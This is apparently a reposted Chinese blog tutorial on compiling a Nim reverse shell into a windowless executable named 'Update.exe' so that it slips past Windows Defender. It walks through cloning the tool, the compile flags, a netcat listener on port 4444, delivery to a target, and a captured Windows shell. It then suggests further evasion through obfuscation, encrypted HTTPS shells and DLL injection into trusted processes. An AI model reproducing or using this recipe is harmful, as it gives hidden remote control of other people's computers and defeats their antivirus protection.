引言
在网络安全和渗透测试领域,Windows Defender 是 Windows 10 及以上版本默认启用的防御工具,能够有效检测和拦截各种恶意软件。然而,对于安全研究人员和红队测试人员来说,如何绕过 Windows Defender 并成功获取反向 Shell(Reverse Shell),是一个值得研究的重要课题。
本文将介绍如何使用 Nim 语言编写的反向 Shell,并将其编译为 Windows 可执行文件(.exe
),从而在 Kali Linux 主机上成功捕获 Shell,并避开 Windows Defender 的检测。
Nim 介绍与环境搭建
Nim 是一门相对较新的编程语言,具有高性能、可读性强、跨平台编译等特点。由于 Windows Defender 主要针对 C、Python、PowerShell 等常见语言的恶意 Payload 进行特征检测,因此使用 Nim 编写的 Shell 具有更高的隐匿性,不容易被 Windows Defender 识别。
本次使用的是 GitHub 上的 Nim-Reverse-Shell 项目,该项目由 Sn1r 开发,提供了一种简单但隐蔽的反向 Shell,能够有效绕过 Windows Defender。
1. 下载 Nim-Reverse-Shell
首先,在 Kali Linux 终端中执行以下命令,克隆 Nim 反向 Shell 的 GitHub 仓库:
git clone https://github.com/Sn1r/Nim-Reverse-Shell.gitcd Nim-Reverse-Shell
安装 Nim 编译器
由于 Nim 代码需要编译为 Windows 可执行文件,因此需要先安装 Nim 编译器。
2. 安装 Nim
首先,下载 Nim 安装包:
wget https://github.com/dom96/choosenim/releases/download/v0.8.4/choosenim-0.8.4_linux_amd64
然后,执行以下命令安装 Nim:
chmod +x choosenim-0.8.4_linux_amd64./choosenim-0.8.4_linux_amd64
安装完成后,运行以下命令更新 Nim 到稳定版本:
nim update stable
默认情况下,Nim 可执行文件会被存储在以下目录:
/home/用户名/.nimble/bin
可以使用 echo $PATH
命令查看 Nim 是否已成功安装。
编译 Nim 反向 Shell
3. 生成可执行文件(Payload)
在成功安装 Nim 后,可以使用以下命令将 Nim 代码编译为 Windows 可执行文件(.exe
):
nim c -d:mingw --app:gui --opt:speed -o:Update.exe ../../Desktop/rev.nim
命令解析:
-
c
:编译 Nim 代码 -
-d:mingw
:使用 MinGW 进行 Windows 平台编译 -
--app:gui
:指定生成 GUI 应用程序,防止命令行窗口弹出 -
--opt:speed
:优化编译,提升可执行文件的运行速度 -
-o:Update.exe
:输出文件命名为Update.exe
-
../../Desktop/rev.nim
:指定 Nim 代码的路径
编译成功后,Update.exe
文件将被生成。
设置 Netcat 监听器
4. 启动 Netcat 监听端口
在 Kali Linux 上,使用 Netcat 监听即将连接的反向 Shell。在终端中执行以下命令:
nc -lvnp 4444
命令解析:
-
-l
:监听模式 -
-v
:详细模式,显示连接状态 -
-n
:不解析 DNS -
-p
:指定监听端口,这里使用 4444
在 Windows 目标机上运行 Payload
5. 传输可执行文件到 Windows 目标机
将 Update.exe
文件传输到目标 Windows 计算机,可以使用:
-
USB 设备 -
共享文件夹 -
远程桌面传输 -
HTTP 服务器下载(例如 python3 -m http.server
)
6. 运行 Payload,获得反向 Shell
在 Windows 目标机上运行 Update.exe
,此时 Windows Defender 不会报毒,并且该程序不会弹出窗口,而是悄无声息地运行在后台。
如果一切配置正确,在 Kali Linux 上的 Netcat 监听窗口中,将看到一个新的 Shell 连接:
Connection received on 192.168.1.100:4444Microsoft Windows [Version 10.0.19044.1288](c) Microsoft Corporation. All rights reserved.C:UsersAdministratorDesktop>
此时,已经成功获取了 Windows 目标机的 Shell 权限。
绕过 Windows Defender 的关键点
-
Nim 语言的特性:由于 Nim 代码不像 Python、PowerShell 那样常见,因此 Windows Defender 对其检测力度较低。 -
GUI 应用模式:编译时使用 --app:gui
选项,使得程序在 Windows 目标机上运行时不会弹出终端窗口,从而降低被用户发现的风险。 -
自定义 Payload 名称:使用类似 Update.exe
这样的系统常见文件名,避免被安全软件或用户怀疑。 -
Payload 传输方式:避免通过邮件或公开网络下载,减少被 Windows Defender 云端分析的风险。
如何进一步提升隐匿性?
为了进一步避免 Windows Defender 检测,可以采取以下措施:
-
使用代码混淆:通过代码混淆工具,使 Payload 代码难以被静态分析。 -
自定义 Nim 代码:修改 GitHub 上的 Nim-Reverse-Shell,让其生成的 Shell 具有独特签名,避免被特征匹配检测。 -
使用加密通信:结合 msfvenom + Nim
,使用 HTTPS 反向 Shell,防止被流量监控检测。 -
利用 DLL 注入:将 Shell 代码注入到合法进程中,使其运行在受信任的 Windows 进程内。
总结
本文介绍了如何在 Kali Linux 上使用 Nim 语言 编写一个 反向 Shell,并通过 编译为 Windows 可执行文件 的方式绕过 Windows Defender,实现 Windows 目标机的远程控制。
完整流程回顾:
-
下载 Nim-Reverse-Shell 项目 -
安装 Nim 编译器 -
编译 Payload(Update.exe) -
在 Kali 启动 Netcat 监听器 -
将 Payload 传输到 Windows 目标机并执行 -
成功捕获 Windows 反向 Shell
原文始发于微信公众号(HW安全之路):零检出反弹Shell!一个冷门语言完美绕过Windows Defender
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论